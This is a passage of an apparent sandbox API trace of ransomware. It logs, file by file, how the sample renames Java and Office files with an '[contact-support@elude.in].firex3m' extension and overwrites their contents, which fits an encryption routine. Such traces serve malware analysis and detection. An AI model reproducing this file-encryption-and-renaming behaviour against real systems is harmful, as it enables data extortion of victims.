dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.922] ReadFile (in: hFile=0x71c, lpBuffer=0x67d198, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67d198*, lpNumberOfBytesRead=0x54bff0c*=0x1020, lpOverlapped=0x0) returned 1 [0109.938] GetProcessHeap () returned 0x630000 [0109.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0109.939] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.939] WriteFile (in: hFile=0x71c, lpBuffer=0x6fbac78*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbac78*, lpNumberOfBytesWritten=0x54bff0c*=0x1020, lpOverlapped=0x0) returned 1 [0109.939] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.939] WriteFile (in: hFile=0x71c, lpBuffer=0x6fbbc97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbbc97*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0109.939] SetFilePointerEx (in: hFile=0x71c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.939] WriteFile (in: hFile=0x71c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0109.939] CloseHandle (hObject=0x71c) returned 1 [0109.940] GetProcessHeap () returned 0x630000 [0109.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fbac78 | out: hHeap=0x630000) returned 1 [0109.940] GetProcessHeap () returned 0x630000 [0109.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67d198 | out: hHeap=0x630000) returned 1 [0109.940] GetProcessHeap () returned 0x630000 [0109.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0109.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77a6eb2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0xa647496, dwReserved1=0x67d190, cFileName="C2RHeartbeatConfig.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="C2RHEA~1.FIR")) returned 0x6d51c0 [0109.941] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0109.941] Sleep (dwMilliseconds=0x1) [0112.137] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi", len=0x48 | out: pbstr=0x54bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 1 [0112.137] GetProcessHeap () returned 0x630000 [0112.137] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x20) returned 0x6e90d0 [0112.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.138] Sleep (dwMilliseconds=0x1) [0113.490] Sleep (dwMilliseconds=0x1) [0114.110] Sleep (dwMilliseconds=0x1) [0114.553] Sleep (dwMilliseconds=0x1) [0114.921] Sleep (dwMilliseconds=0x1) [0115.211] Sleep (dwMilliseconds=0x1) [0115.505] Sleep (dwMilliseconds=0x1) [0115.904] Sleep (dwMilliseconds=0x1) [0116.380] Sleep (dwMilliseconds=0x1) [0116.402] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", len=0x31 | out: pbstr=0x54bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 1 [0116.402] GetProcessHeap () returned 0x630000 [0116.402] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6998e8, Size=0x20) returned 0x6e9030 [0116.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0116.458] CloseHandle (hObject=0x414) returned 1 [0116.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.653] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAWS~1.FIR")) returned 0x6d5280 [0116.653] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0116.653] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0116.653] GetProcessHeap () returned 0x630000 [0116.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71e1cd8 [0116.654] GetProcessHeap () returned 0x630000 [0116.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0116.654] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.655] ReadFile (in: hFile=0x414, lpBuffer=0x71e1cd8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e1cd8*, lpNumberOfBytesRead=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0121.150] GetProcessHeap () returned 0x630000 [0121.150] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0121.150] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.150] WriteFile (in: hFile=0x414, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x54bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0121.151] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.151] WriteFile (in: hFile=0x414, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.191] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.191] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.191] CloseHandle (hObject=0x414) returned 1 [0122.983] GetProcessHeap () returned 0x630000 [0122.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0122.983] GetProcessHeap () returned 0x630000 [0122.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e1cd8 | out: hHeap=0x630000) returned 1 [0122.984] GetProcessHeap () returned 0x630000 [0122.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0128.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf418ea1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4e064, dwReserved0=0xa647496, dwReserved1=0x71e1cd0, cFileName="javaws.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAWS~1.FIR")) returned 0x6d5000 [0128.590] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0128.590] Sleep (dwMilliseconds=0x1) [0128.610] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties", len=0x48 | out: pbstr=0x54bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 1 [0128.610] GetProcessHeap () returned 0x630000 [0128.610] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc0) returned 0x66a3e0 [0128.610] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.675] CloseHandle (hObject=0x4e0) returned 1 [0128.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CURSOR~1.FIR")) returned 0x6d5280 [0128.676] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0128.676] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.676] GetProcessHeap () returned 0x630000 [0128.676] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x521) returned 0x6672f8 [0128.676] GetProcessHeap () returned 0x630000 [0128.676] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x521) returned 0x6fecbb0 [0128.676] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.676] ReadFile (in: hFile=0x4e0, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x54bff0c*=0x500, lpOverlapped=0x0) returned 1 [0128.734] GetProcessHeap () returned 0x630000 [0128.734] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0128.734] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.734] WriteFile (in: hFile=0x4e0, lpBuffer=0x6fecbb0*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fecbb0*, lpNumberOfBytesWritten=0x54bff0c*=0x500, lpOverlapped=0x0) returned 1 [0128.734] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.734] WriteFile (in: hFile=0x4e0, lpBuffer=0x6fed0af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fed0af*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.734] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.734] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.734] CloseHandle (hObject=0x4e0) returned 1 [0128.735] GetProcessHeap () returned 0x630000 [0128.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fecbb0 | out: hHeap=0x630000) returned 1 [0128.735] GetProcessHeap () returned 0x630000 [0128.735] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0128.736] GetProcessHeap () returned 0x630000 [0128.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0128.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x12ad9de0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0xa647496, dwReserved1=0x6672f0, cFileName="cursors.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CURSOR~1.FIR")) returned 0x6d4ec0 [0128.736] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0128.736] Sleep (dwMilliseconds=0x1) [0128.869] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar", len=0x34 | out: pbstr=0x54bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 1 [0128.869] GetProcessHeap () returned 0x630000 [0128.869] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x94) returned 0x66a3e0 [0128.869] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0128.984] CloseHandle (hObject=0x6a4) returned 1 [0128.984] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa4c9, dwReserved0=0xb4000db9, dwReserved1=0x0, cFileName="sunec.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNECJ~1.FIR")) returned 0x6d5200 [0128.991] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0128.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0128.991] GetProcessHeap () returned 0x630000 [0128.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa4e1) returned 0x7062220 [0128.992] GetProcessHeap () returned 0x630000 [0128.992] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa4e1) returned 0x706c710 [0128.993] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.993] ReadFile (in: hFile=0x6a4, lpBuffer=0x7062220, nNumberOfBytesToRead=0xa4c0, lpNumberOfBytesRead=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7062220*, lpNumberOfBytesRead=0x54bff0c*=0xa4c0, lpOverlapped=0x0) returned 1 [0137.030] GetProcessHeap () returned 0x630000 [0137.030] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0137.030] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.030] WriteFile (in: hFile=0x6a4, lpBuffer=0x706c710*, nNumberOfBytesToWrite=0xa4c0, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x706c710*, lpNumberOfBytesWritten=0x54bff0c*=0xa4c0, lpOverlapped=0x0) returned 1 [0137.031] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.031] WriteFile (in: hFile=0x6a4, lpBuffer=0x7076bcf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7076bcf*, lpNumberOfBytesWritten=0x54bff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.031] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.031] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x54bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x54bff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.031] CloseHandle (hObject=0x6a4) returned 1 [0137.033] GetProcessHeap () returned 0x630000 [0137.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706c710 | out: hHeap=0x630000) returned 1 [0137.033] GetProcessHeap () returned 0x630000 [0137.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7062220 | out: hHeap=0x630000) returned 1 [0137.033] GetProcessHeap () returned 0x630000 [0137.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0137.033] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0137.033] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfcc4 | out: lpFindFileData=0x54bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x17a02ca0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa4ed, dwReserved0=0xa647496, dwReserved1=0x7062218, cFileName="sunec.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNECJ~1.FIR")) returned 0x6d5200 [0137.033] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0137.033] Sleep (dwMilliseconds=0x1) [0138.641] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml", len=0x51 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml") returned 1 [0138.641] GetProcessHeap () returned 0x630000 [0138.641] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a34) returned 0x72b0508 [0138.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.642] CloseHandle (hObject=0x68c) returned 1 [0138.642] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.642] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Calibri.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\calibri.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.642] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: 